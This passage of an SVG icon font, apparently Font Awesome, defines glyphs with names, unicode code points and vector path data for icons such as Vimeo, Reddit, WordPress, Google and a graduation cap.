    <glyph glyph-name="dot_circle_alt" unicode="&#xf192;" 
d="M1024 640q0 -106 -75 -181t-181 -75t-181 75t-75 181t75 181t181 75t181 -75t75 -181zM768 1184q-148 0 -273 -73t-198 -198t-73 -273t73 -273t198 -198t273 -73t273 73t198 198t73 273t-73 273t-198 198t-273 73zM1536 640q0 -209 -103 -385.5t-279.5 -279.5
t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="_378" unicode="&#xf193;" horiz-adv-x="1664" 
d="M1023 349l102 -204q-58 -179 -210 -290t-339 -111q-156 0 -288.5 77.5t-210 210t-77.5 288.5q0 181 104.5 330t274.5 211l17 -131q-122 -54 -195 -165.5t-73 -244.5q0 -185 131.5 -316.5t316.5 -131.5q126 0 232.5 65t165 175.5t49.5 236.5zM1571 249l58 -114l-256 -128
q-13 -7 -29 -7q-40 0 -57 35l-239 477h-472q-24 0 -42.5 16.5t-21.5 40.5l-96 779q-2 17 6 42q14 51 57 82.5t97 31.5q66 0 113 -47t47 -113q0 -69 -52 -117.5t-120 -41.5l37 -289h423v-128h-407l16 -128h455q40 0 57 -35l228 -455z" />
    <glyph glyph-name="vimeo_square" unicode="&#xf194;" 
d="M1292 898q10 216 -161 222q-231 8 -312 -261q44 19 82 19q85 0 74 -96q-4 -57 -74 -167t-105 -110q-43 0 -82 169q-13 54 -45 255q-30 189 -160 177q-59 -7 -164 -100l-81 -72l-81 -72l52 -67q76 52 87 52q57 0 107 -179q15 -55 45 -164.5t45 -164.5q68 -179 164 -179
q157 0 383 294q220 283 226 444zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="_380" unicode="&#xf195;" horiz-adv-x="1152" 
d="M1152 704q0 -191 -94.5 -353t-256.5 -256.5t-353 -94.5h-160q-14 0 -23 9t-9 23v611l-215 -66q-3 -1 -9 -1q-10 0 -19 6q-13 10 -13 26v128q0 23 23 31l233 71v93l-215 -66q-3 -1 -9 -1q-10 0 -19 6q-13 10 -13 26v128q0 23 23 31l233 71v250q0 14 9 23t23 9h160
q14 0 23 -9t9 -23v-181l375 116q15 5 28 -5t13 -26v-128q0 -23 -23 -31l-393 -121v-93l375 116q15 5 28 -5t13 -26v-128q0 -23 -23 -31l-393 -121v-487q188 13 318 151t130 328q0 14 9 23t23 9h160q14 0 23 -9t9 -23z" />
    <glyph glyph-name="plus_square_o" unicode="&#xf196;" horiz-adv-x="1408" 
d="M1152 736v-64q0 -14 -9 -23t-23 -9h-352v-352q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v352h-352q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h352v352q0 14 9 23t23 9h64q14 0 23 -9t9 -23v-352h352q14 0 23 -9t9 -23zM1280 288v832q0 66 -47 113t-113 47h-832
q-66 0 -113 -47t-47 -113v-832q0 -66 47 -113t113 -47h832q66 0 113 47t47 113zM1408 1120v-832q0 -119 -84.5 -203.5t-203.5 -84.5h-832q-119 0 -203.5 84.5t-84.5 203.5v832q0 119 84.5 203.5t203.5 84.5h832q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="_382" unicode="&#xf197;" horiz-adv-x="2176" 
d="M620 416q-110 -64 -268 -64h-128v64h-64q-13 0 -22.5 23.5t-9.5 56.5q0 24 7 49q-58 2 -96.5 10.5t-38.5 20.5t38.5 20.5t96.5 10.5q-7 25 -7 49q0 33 9.5 56.5t22.5 23.5h64v64h128q158 0 268 -64h1113q42 -7 106.5 -18t80.5 -14q89 -15 150 -40.5t83.5 -47.5t22.5 -40
t-22.5 -40t-83.5 -47.5t-150 -40.5q-16 -3 -80.5 -14t-106.5 -18h-1113zM1739 668q53 -36 53 -92t-53 -92l81 -30q68 48 68 122t-68 122zM625 400h1015q-217 -38 -456 -80q-57 0 -113 -24t-83 -48l-28 -24l-288 -288q-26 -26 -70.5 -45t-89.5 -19h-96l-93 464h29
q157 0 273 64zM352 816h-29l93 464h96q46 0 90 -19t70 -45l288 -288q4 -4 11 -10.5t30.5 -23t48.5 -29t61.5 -23t72.5 -10.5l456 -80h-1015q-116 64 -273 64z" />
    <glyph glyph-name="_383" unicode="&#xf198;" horiz-adv-x="1664" 
d="M1519 760q62 0 103.5 -40.5t41.5 -101.5q0 -97 -93 -130l-172 -59l56 -167q7 -21 7 -47q0 -59 -42 -102t-101 -43q-47 0 -85.5 27t-53.5 72l-55 165l-310 -106l55 -164q8 -24 8 -47q0 -59 -42 -102t-102 -43q-47 0 -85 27t-53 72l-55 163l-153 -53q-29 -9 -50 -9
q-61 0 -101.5 40t-40.5 101q0 47 27.5 85t71.5 53l156 53l-105 313l-156 -54q-26 -8 -48 -8q-60 0 -101 40.5t-41 100.5q0 47 27.5 85t71.5 53l157 53l-53 159q-8 24 -8 47q0 60 42 102.5t102 42.5q47 0 85 -27t53 -72l54 -160l310 105l-54 160q-8 24 -8 47q0 59 42.5 102
t101.5 43q47 0 85.5 -27.5t53.5 -71.5l53 -161l162 55q21 6 43 6q60 0 102.5 -39.5t42.5 -98.5q0 -45 -30 -81.5t-74 -51.5l-157 -54l105 -316l164 56q24 8 46 8zM725 498l310 105l-105 315l-310 -107z" />
    <glyph glyph-name="_384" unicode="&#xf199;" 
d="M1248 1408q119 0 203.5 -84.5t84.5 -203.5v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960zM1280 352v436q-31 -35 -64 -55q-34 -22 -132.5 -85t-151.5 -99q-98 -69 -164 -69v0v0q-66 0 -164 69
q-47 32 -142 92.5t-142 92.5q-12 8 -33 27t-31 27v-436q0 -40 28 -68t68 -28h832q40 0 68 28t28 68zM1280 925q0 41 -27.5 70t-68.5 29h-832q-40 0 -68 -28t-28 -68q0 -37 30.5 -76.5t67.5 -64.5q47 -32 137.5 -89t129.5 -83q3 -2 17 -11.5t21 -14t21 -13t23.5 -13
t21.5 -9.5t22.5 -7.5t20.5 -2.5t20.5 2.5t22.5 7.5t21.5 9.5t23.5 13t21 13t21 14t17 11.5l267 174q35 23 66.5 62.5t31.5 73.5z" />
    <glyph glyph-name="_385" unicode="&#xf19a;" horiz-adv-x="1792" 
d="M127 640q0 163 67 313l367 -1005q-196 95 -315 281t-119 411zM1415 679q0 -19 -2.5 -38.5t-10 -49.5t-11.5 -44t-17.5 -59t-17.5 -58l-76 -256l-278 826q46 3 88 8q19 2 26 18.5t-2.5 31t-28.5 13.5l-205 -10q-75 1 -202 10q-12 1 -20.5 -5t-11.5 -15t-1.5 -18.5t9 -16.5
t19.5 -8l80 -8l120 -328l-168 -504l-280 832q46 3 88 8q19 2 26 18.5t-2.5 31t-28.5 13.5l-205 -10q-7 0 -23 0.5t-26 0.5q105 160 274.5 253.5t367.5 93.5q147 0 280.5 -53t238.5 -149h-10q-55 0 -92 -40.5t-37 -95.5q0 -12 2 -24t4 -21.5t8 -23t9 -21t12 -22.5t12.5 -21
t14.5 -24t14 -23q63 -107 63 -212zM909 573l237 -647q1 -6 5 -11q-126 -44 -255 -44q-112 0 -217 32zM1570 1009q95 -174 95 -369q0 -209 -104 -385.5t-279 -278.5l235 678q59 169 59 276q0 42 -6 79zM896 1536q182 0 348 -71t286 -191t191 -286t71 -348t-71 -348t-191 -286
t-286 -191t-348 -71t-348 71t-286 191t-191 286t-71 348t71 348t191 286t286 191t348 71zM896 -215q173 0 331.5 68t273 182.5t182.5 273t68 331.5t-68 331.5t-182.5 273t-273 182.5t-331.5 68t-331.5 -68t-273 -182.5t-182.5 -273t-68 -331.5t68 -331.5t182.5 -273
t273 -182.5t331.5 -68z" />
    <glyph glyph-name="_386" unicode="&#xf19b;" horiz-adv-x="1792" 
d="M1086 1536v-1536l-272 -128q-228 20 -414 102t-293 208.5t-107 272.5q0 140 100.5 263.5t275 205.5t391.5 108v-172q-217 -38 -356.5 -150t-139.5 -255q0 -152 154.5 -267t388.5 -145v1360zM1755 954l37 -390l-525 114l147 83q-119 70 -280 99v172q277 -33 481 -157z" />
    <glyph glyph-name="_387" unicode="&#xf19c;" horiz-adv-x="2048" 
d="M960 1536l960 -384v-128h-128q0 -26 -20.5 -45t-48.5 -19h-1526q-28 0 -48.5 19t-20.5 45h-128v128zM256 896h256v-768h128v768h256v-768h128v768h256v-768h128v768h256v-768h59q28 0 48.5 -19t20.5 -45v-64h-1664v64q0 26 20.5 45t48.5 19h59v768zM1851 -64
q28 0 48.5 -19t20.5 -45v-128h-1920v128q0 26 20.5 45t48.5 19h1782z" />
    <glyph glyph-name="_388" unicode="&#xf19d;" horiz-adv-x="2304" 
d="M1774 700l18 -316q4 -69 -82 -128t-235 -93.5t-323 -34.5t-323 34.5t-235 93.5t-82 128l18 316l574 -181q22 -7 48 -7t48 7zM2304 1024q0 -23 -22 -31l-1120 -352q-4 -1 -10 -1t-10 1l-652 206q-43 -34 -71 -111.5t-34 -178.5q63 -36 63 -109q0 -69 -58 -107l58 -433
q2 -14 -8 -25q-9 -11 -24 -11h-192q-15 0 -24 11q-10 11 -8 25l58 433q-58 38 -58 107q0 73 65 111q11 207 98 330l-333 104q-22 8 -22 31t22 31l1120 352q4 1 10 1t10 -1l1120 -352q22 -8 22 -31z" />
    <glyph glyph-name="_389" unicode="&#xf19e;" 
d="M859 579l13 -707q-62 11 -105 11q-41 0 -105 -11l13 707q-40 69 -168.5 295.5t-216.5 374.5t-181 287q58 -15 108 -15q44 0 111 15q63 -111 133.5 -229.5t167 -276.5t138.5 -227q37 61 109.5 177.5t117.5 190t105 176t107 189.5q54 -14 107 -14q56 0 114 14v0
q-28 -39 -60 -88.5t-49.5 -78.5t-56.5 -96t-49 -84q-146 -248 -353 -610z" />
    <glyph glyph-name="uniF1A0" unicode="&#xf1a0;" 
d="M768 750h725q12 -67 12 -128q0 -217 -91 -387.5t-259.5 -266.5t-386.5 -96q-157 0 -299 60.5t-245 163.5t-163.5 245t-60.5 299t60.5 299t163.5 245t245 163.5t299 60.5q300 0 515 -201l-209 -201q-123 119 -306 119q-129 0 -238.5 -65t-173.5 -176.5t-64 -243.5
t64 -243.5t173.5 -176.5t238.5 -65q87 0 160 24t120 60t82 82t51.5 87t22.5 78h-436v264z" />
    <glyph glyph-name="f1a1" unicode="&#xf1a1;" horiz-adv-x="1792" 
d="M1095 369q16 -16 0 -31q-62 -62 -199 -62t-199 62q-16 15 0 31q6 6 15 6t15 -6q48 -49 169 -49q120 0 169 49q6 6 15 6t15 -6zM788 550q0 -37 -26 -63t-63 -26t-63.5 26t-26.5 63q0 38 26.5 64t63.5 26t63 -26.5t26 -63.5zM1183 550q0 -37 -26.5 -63t-63.5 -26t-63 26
t-26 63t26 63.5t63 26.5t63.5 -26t26.5 -64zM1434 670q0 49 -35 84t-85 35t-86 -36q-130 90 -311 96l63 283l200 -45q0 -37 26 -63t63 -26t63.5 26.5t26.5 63.5t-26.5 63.5t-63.5 26.5q-54 0 -80 -50l-221 49q-19 5 -25 -16l-69 -312q-180 -7 -309 -97q-35 37 -87 37
q-50 0 -85 -35t-35 -84q0 -35 18.5 -64t49.5 -44q-6 -27 -6 -56q0 -142 140 -243t337 -101q198 0 338 101t140 243q0 32 -7 57q30 15 48 43.5t18 63.5zM1792 640q0 -182 -71 -348t-191 -286t-286 -191t-348 -71t-348 71t-286 191t-191 286t-71 348t71 348t191 286t286 191
t348 71t348 -71t286 -191t191 -286t71 -348z" />
    <glyph glyph-name="_392" unicode="&#xf1a2;" 
d="M939 407q13 -13 0 -26q-53 -53 -171 -53t-171 53q-13 13 0 26q5 6 13 6t13 -6q42 -42 145 -42t145 42q5 6 13 6t13 -6zM676 563q0 -31 -23 -54t-54 -23t-54 23t-23 54q0 32 22.5 54.5t54.5 22.5t54.5 -22.5t22.5 -54.5zM1014 563q0 -31 -23 -54t-54 -23t-54 23t-23 54
q0 32 22.5 54.5t54.5 22.5t54.5 -22.5t22.5 -54.5zM1229 666q0 42 -30 72t-73 30q-42 0 -73 -31q-113 78 -267 82l54 243l171 -39q1 -32 23.5 -54t53.5 -22q32 0 54.5 22.5t22.5 54.5t-22.5 54.5t-54.5 22.5q-48 0 -69 -43l-189 42q-17 5 -21 -13l-60 -268q-154 -6 -265 -83
q-30 32 -74 32q-43 0 -73 -30t-30 -72q0 -30 16 -55t42 -38q-5 -25 -5 -48q0 -122 120 -208.5t289 -86.5q170 0 290 86.5t120 208.5q0 25 -6 49q25 13 40.5 37.5t15.5 54.5zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960
q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="_393" unicode="&#xf1a3;" 
d="M866 697l90 27v62q0 79 -58 135t-138 56t-138 -55.5t-58 -134.5v-283q0 -20 -14 -33.5t-33 -13.5t-32.5 13.5t-13.5 33.5v120h-151v-122q0 -82 57.5 -139t139.5 -57q81 0 138.5 56.5t57.5 136.5v280q0 19 13.5 33t33.5 14q19 0 32.5 -14t13.5 -33v-54zM1199 502v122h-150
v-126q0 -20 -13.5 -33.5t-33.5 -13.5q-19 0 -32.5 14t-13.5 33v123l-90 -26l-60 28v-123q0 -80 58 -137t139 -57t138.5 57t57.5 139zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103
t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="f1a4" unicode="&#xf1a4;" horiz-adv-x="1920" 
d="M1062 824v118q0 42 -30 72t-72 30t-72 -30t-30 -72v-612q0 -175 -126 -299t-303 -124q-178 0 -303.5 125.5t-125.5 303.5v266h328v-262q0 -43 30 -72.5t72 -29.5t72 29.5t30 72.5v620q0 171 126.5 292t301.5 121q176 0 302 -122t126 -294v-136l-195 -58zM1592 602h328
v-266q0 -178 -125.5 -303.5t-303.5 -125.5q-177 0 -303 124.5t-126 300.5v268l131 -61l195 58v-270q0 -42 30 -71.5t72 -29.5t72 29.5t30 71.5v275z" />
    <glyph glyph-name="_395" unicode="&#xf1a5;" 
d="M1472 160v480h-704v704h-480q-93 0 -158.5 -65.5t-65.5 -158.5v-480h704v-704h480q93 0 158.5 65.5t65.5 158.5zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5
t84.5 -203.5z" />
    <glyph glyph-name="_396" unicode="&#xf1a6;" horiz-adv-x="2048" 
d="M328 1254h204v-983h-532v697h328v286zM328 435v369h-123v-369h123zM614 968v-697h205v697h-205zM614 1254v-204h205v204h-205zM901 968h533v-942h-533v163h328v82h-328v697zM1229 435v369h-123v-369h123zM1516 968h532v-942h-532v163h327v82h-327v697zM1843 435v369h-123
v-369h123z" />
    <glyph glyph-name="_397" unicode="&#xf1a7;" 
d="M1046 516q0 -64 -38 -109t-91 -45q-43 0 -70 15v277q28 17 70 17q53 0 91 -45.5t38 -109.5zM703 944q0 -64 -38 -109.5t-91 -45.5q-43 0 -70 15v277q28 17 70 17q53 0 91 -45t38 -109zM1265 513q0 134 -88 229t-213 95q-20 0 -39 -3q-23 -78 -78 -136q-87 -95 -211 -101
v-636l211 41v206q51 -19 117 -19q125 0 213 95t88 229zM922 940q0 134 -88.5 229t-213.5 95q-74 0 -141 -36h-186v-840l211 41v206q55 -19 116 -19q125 0 213.5 95t88.5 229zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960
q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="_398" unicode="&#xf1a8;" horiz-adv-x="2038" 
d="M1222 607q75 3 143.5 -20.5t118 -58.5t101 -94.5t84 -108t75.5 -120.5q33 -56 78.5 -109t75.5 -80.5t99 -88.5q-48 -30 -108.5 -57.5t-138.5 -59t-114 -47.5q-44 37 -74 115t-43.5 164.5t-33 180.5t-42.5 168.5t-72.5 123t-122.5 48.5l-10 -2l-6 -4q4 -5 13 -14
q6 -5 28 -23.5t25.5 -22t19 -18t18 -20.5t11.5 -21t10.5 -27.5t4.5 -31t4 -40.5l1 -33q1 -26 -2.5 -57.5t-7.5 -52t-12.5 -58.5t-11.5 -53q-35 1 -101 -9.5t-98 -10.5q-39 0 -72 10q-2 16 -2 47q0 74 3 96q2 13 31.5 41.5t57 59t26.5 51.5q-24 2 -43 -24
q-36 -53 -111.5 -99.5t-136.5 -46.5q-25 0 -75.5 63t-106.5 139.5t-84 96.5q-6 4 -27 30q-482 -112 -513 -112q-16 0 -28 11t-12 27q0 15 8.5 26.5t22.5 14.5l486 106q-8 14 -8 25t5.5 17.5t16 11.5t20 7t23 4.5t18.5 4.5q4 1 15.5 7.5t17.5 6.5q15 0 28 -16t20 -33
q163 37 172 37q17 0 29.5 -11t12.5 -28q0 -15 -8.5 -26t-23.5 -14l-182 -40l-1 -16q-1 -26 81.5 -117.5t104.5 -91.5q47 0 119 80t72 129q0 36 -23.5 53t-51 18.5t-51 11.5t-23.5 34q0 16 10 34l-68 19q43 44 43 117q0 26 -5 58q82 16 144 16q44 0 71.5 -1.5t48.5 -8.5
t31 -13.5t20.5 -24.5t15.5 -33.5t17 -47.5t24 -60l50 25q-3 -40 -23 -60t-42.5 -21t-40 -6.5t-16.5 -20.5zM1282 842q-5 5 -13.5 15.5t-12 14.5t-10.5 11.5t-10 10.5l-8 8t-8.5 7.5t-8 5t-8.5 4.5q-7 3 -14.5 5t-20.5 2.5t-22 0.5h-32.5h-37.5q-126 0 -217 -43
q16 30 36 46.5t54 29.5t65.5 36t46 36.5t50 55t43.5 50.5q12 -9 28 -31.5t32 -36.5t38 -13l12 1v-76l22 -1q247 95 371 190q28 21 50 39t42.5 37.5t33 31t29.5 34t24 31t24.5 37t23 38t27 47.5t29.5 53l7 9q-2 -53 -43 -139q-79 -165 -205 -264t-306 -142q-14 -3 -42 -7.5
t-50 -9.5t-39 -14q3 -19 24.5 -46t21.5 -34q0 -11 -26 -30zM1061 -79q39 26 131.5 47.5t146.5 21.5q9 0 22.5 -15.5t28 -42.5t26 -50t24 -51t14.5 -33q-121 -45 -244 -45q-61 0 -125 11zM822 568l48 12l109 -177l-73 -48zM1323 51q3 -15 3 -16q0 -7 -17.5 -14.5t-46 -13
t-54 -9.5t-53.5 -7.5t-32 -4.5l-7 43q21 2 60.5 8.5t72 10t60.5 3.5h14zM866 679l-96 -20l-6 17q10 1 32.5 7t34.5 6q19 0 35 -10zM1061 45h31l10 -83l-41 -12v95zM1950 1535v1v-1zM1950 1535l-1 -5l-2 -2l1 3zM1950 1535l1 1z" />
    <glyph glyph-name="_399" unicode="&#xf1a9;" 
d="M1167 -50q-5 19 -24 5q-30 -22 -87 -39t-131 -17q-129 0 -193 49q-5 4 -13 4q-11 0 -26 -12q-7 -6 -7.5 -16t7.5 -20q34 -32 87.5 -46t102.5 -12.5t99 4.5q41 4 84.5 20.5t65 30t28.5 20.5q12 12 7 29zM1128 65q-19 47 -39 61q-23 15 -76 15q-47 0 -71 -10
q-29 -12 -78 -56q-26 -24 -12 -44q9 -8 17.5 -4.5t31.5 23.5q3 2 10.5 8.5t10.5 8.5t10 7t11.5 7t12.5 5t15 4.5t16.5 2.5t20.5 1q27 0 44.5 -7.5t23 -14.5t13.5 -22q10 -17 12.5 -20t12.5 1q23 12 14 34zM1483 346q0 22 -5 44.5t-16.5 45t-34 36.5t-52.5 14
q-33 0 -97 -41.5t-129 -83.5t-101 -42q-27 -1 -63.5 19t-76 49t-83.5 58t-100 49t-111 19q-115 -1 -197 -78.5t-84 -178.5q-2 -112 74 -164q29 -20 62.5 -28.5t103.5 -8.5q57 0 132 32.5t134 71t120 70.5t93 31q26 -1 65 -31.5t71.5 -67t68 -67.5t55.5 -32q35 -3 58.5 14
t55.5 63q28 41 42.5 101t14.5 106zM1536 506q0 -164 -62 -304.5t-166 -236t-242.5 -149.5t-290.5 -54t-293 57.5t-247.5 157t-170.5 241.5t-64 302q0 89 19.5 172.5t49 145.5t70.5 118.5t78.5 94t78.5 69.5t64.5 46.5t42.5 24.5q14 8 51 26.5t54.5 28.5t48 30t60.5 44
q36 28 58 72.5t30 125.5q129 -155 186 -193q44 -29 130 -68t129 -66q21 -13 39 -25t60.5 -46.5t76 -70.5t75 -95t69 -122t47 -148.5t19.5 -177.5z" />
    <glyph glyph-name="_400" unicode="&#xf1aa;" 
d="M1070 463l-160 -160l-151 -152l-30 -30q-65 -64 -151.5 -87t-171.5 -2q-16 -70 -72 -115t-129 -45q-85 0 -145 60.5t-60 145.5q0 72 44.5 128t113.5 72q-22 86 1 173t88 152l12 12l151 -152l-11 -11q-37 -37 -37 -89t37 -90q37 -37 89 -37t89 37l30 30l151 152l161 160z
M729 1145l12 -12l-152 -152l-12 12q-37 37 -89 37t-89 -37t-37 -89.5t37 -89.5l29 -29l152 -152l160 -160l-151 -152l-161 160l-151 152l-30 30q-68 67 -90 159.5t5 179.5q-70 15 -115 71t-45 129q0 85 60 145.5t145 60.5q76 0 133.5 -49t69.5 -123q84 20 169.5 -3.5
t149.5 -87.5zM1536 78q0 -85 -60 -145.5t-145 -60.5q-74 0 -131 47t-71 118q-86 -28 -179.5 -6t-161.5 90l-11 12l151 152l12 -12q37 -37 89 -37t89 37t37 89t-37 89l-30 30l-152 152l-160 160l152 152l160 -160l152 -152l29 -30q64 -64 87.5 -150.5t2.5 -171.5
q76 -11 126.5 -68.5t50.5 -134.5zM1534 1202q0 -77 -51 -135t-127 -69q26 -85 3 -176.5t-90 -158.5l-12 -12l-151 152l12 12q37 37 37 89t-37 89t-89 37t-89 -37l-30 -30l-152 -152l-160 -160l-152 152l161 160l152 152l29 30q67 67 159 89.5t178 -3.5q11 75 68.5 126
t135.5 51q85 0 145 -60.5t60 -145.5z" />
    <glyph glyph-name="f1ab" unicode="&#xf1ab;" 
d="M654 458q-1 -3 -12.5 0.5t-31.5 11.5l-20 9q-44 20 -87 49q-7 5 -41 31.5t-38 28.5q-67 -103 -134 -181q-81 -95 -105 -110q-4 -2 -19.5 -4t-18.5 0q6 4 82 92q21 24 85.5 115t78.5 118q17 30 51 98.5t36 77.5q-8 1 -110 -33q-8 -2 -27.5 -7.5t-34.5 -9.5t-17 -5
q-2 -2 -2 -10.5t-1 -9.5q-5 -10 -31 -15q-23 -7 -47 0q-18 4 -28 21q-4 6 -5 23q6 2 24.5 5t29.5 6q58 16 105 32q100 35 102 35q10 2 43 19.5t44 21.5q9 3 21.5 8t14.5 5.5t6 -0.5q2 -12 -1 -33q0 -2 -12.5 -27t-26.5 -53.5t-17 -33.5q-25 -50 -77 -131l64 -28
q12 -6 74.5 -32t67.5 -28q4 -1 10.5 -25.5t4.5 -30.5zM449 944q3 -15 -4 -28q-12 -23 -50 -38q-30 -12 -60 -12q-26 3 -49 26q-14 15 -18 41l1 3q3 -3 19.5 -5t26.5 0t58 16q36 12 55 14q17 0 21 -17zM1147 815l63 -227l-139 42zM39 15l694 232v1032l-694 -233v-1031z
M1280 332l102 -31l-181 657l-100 31l-216 -536l102 -31l45 110l211 -65zM777 1294l573 -184v380zM1088 -29l158 -13l-54 -160l-40 66q-130 -83 -276 -108q-58 -12 -91 -12h-84q-79 0 -199.5 39t-183.5 85q-8 7 -8 16q0 8 5 13.5t13 5.5q4 0 18 -7.5t30.5 -16.5t20.5 -11
q73 -37 159.5 -61.5t157.5 -24.5q95 0 167 14.5t157 50.5q15 7 30.5 15.5t34 19t28.5 16.5zM1536 1050v-1079l-774 246q-14 -6 -375 -127.5t-368 -121.5q-13 0 -18 13q0 1 -1 3v1078q3 9 4 10q5 6 20 11q107 36 149 50v384l558 -198q2 0 160.5 55t316 108.5t161.5 53.5
q20 0 20 -21v-418z" />
    <glyph glyph-name="_402" unicode="&#xf1ac;" horiz-adv-x="1792" 
d="M288 1152q66 0 113 -47t47 -113v-1088q0 -66 -47 -113t-113 -47h-128q-66 0 -113 47t-47 113v1088q0 66 47 113t113 47h128zM1664 989q58 -34 93 -93t35 -128v-768q0 -106 -75 -181t-181 -75h-864q-66 0 -113 47t-47 113v1536q0 40 28 68t68 28h672q40 0 88 -20t76 -48
l152 -152q28 -28 48 -76t20 -88v-163zM928 0v128q0 14 -9 23t-23 9h-128q-14 0 -23 -9t-9 -23v-128q0 -14 9 -23t23 -9h128q14 0 23 9t9 23zM928 256v128q0 14 -9 23t-23 9h-128q-14 0 -23 -9t-9 -23v-128q0 -14 9 -23t23 -9h128q14 0 23 9t9 23zM928 512v128q0 14 -9 23
t-23 9h-128q-14 0 -23 -9t-9 -23v-128q0 -14 9 -23t23 -9h128q14 0 23 9t9 23zM1184 0v128q0 14 -9 23t-23 9h-128q-14 0 -23 -9t-9 -23v-128q0 -14 9 -23t23 -9h128q14 0 23 9t9 23zM1184 256v128q0 14 -9 23t-23 9h-128q-14 0 -23 -9t-9 -23v-128q0 -14 9 -23t23 -9h128
q14 0 23 9t9 23zM1184 512v128q0 14 -9 23t-23 9h-128q-14 0 -23 -9t-9 -23v-128q0 -14 9 -23t23 -9h128q14 0 23 9t9 23zM1440 0v128q0 14 -9 23t-23 9h-128q-14 0 -23 -9t-9 -23v-128q0 -14 9 -23t23 -9h128q14 0 23 9t9 23zM1440 256v128q0 14 -9 23t-23 9h-128
q-14 0 -23 -9t-9 -23v-128q0 -14 9 -23t23 -9h128q14 0 23 9t9 23zM1440 512v128q0 14 -9 23t-23 9h-128q-14 0 -23 -9t-9 -23v-128q0 -14 9 -23t23 -9h128q14 0 23 9t9 23zM1536 896v256h-160q-40 0 -68 28t-28 68v160h-640v-512h896z" />
    <glyph glyph-name="_403" unicode="&#xf1ad;" 
d="M1344 1536q26 0 45 -19t19 -45v-1664q0 -26 -19 -45t-45 -19h-1280q-26 0 -45 19t-19 45v1664q0 26 19 45t45 19h1280zM512 1248v-64q0 -14 9 -23t23 -9h64q14 0 23 9t9 23v64q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23zM512 992v-64q0 -14 9 -23t23 -9h64q14 0 23 9
t9 23v64q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23zM512 736v-64q0 -14 9 -23t23 -9h64q14 0 23 9t9 23v64q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23zM512 480v-64q0 -14 9 -23t23 -9h64q14 0 23 9t9 23v64q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23zM384 160v64
q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM384 416v64q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM384 672v64q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h64
q14 0 23 9t9 23zM384 928v64q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM384 1184v64q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM896 -96v192q0 14 -9 23t-23 9h-320q-14 0 -23 -9
t-9 -23v-192q0 -14 9 -23t23 -9h320q14 0 23 9t9 23zM896 416v64q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM896 672v64q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM896 928v64
q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM896 1184v64q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM1152 160v64q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h64
q14 0 23 9t9 23zM1152 416v64q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM1152 672v64q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM1152 928v64q0 14 -9 23t-23 9h-64q-14 0 -23 -9
t-9 -23v-64q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM1152 1184v64q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h64q14 0 23 9t9 23z" />
    <glyph glyph-name="_404" unicode="&#xf1ae;" horiz-adv-x="1280" 
d="M1188 988l-292 -292v-824q0 -46 -33 -79t-79 -33t-79 33t-33 79v384h-64v-384q0 -46 -33 -79t-79 -33t-79 33t-33 79v824l-292 292q-28 28 -28 68t28 68q29 28 68.5 28t67.5 -28l228 -228h368l228 228q28 28 68 28t68 -28q28 -29 28 -68.5t-28 -67.5zM864 1152
q0 -93 -65.5 -158.5t-158.5 -65.5t-158.5 65.5t-65.5 158.5t65.5 158.5t158.5 65.5t158.5 -65.5t65.5 -158.5z" />
    <glyph glyph-name="uniF1B1" unicode="&#xf1b0;" horiz-adv-x="1664" 
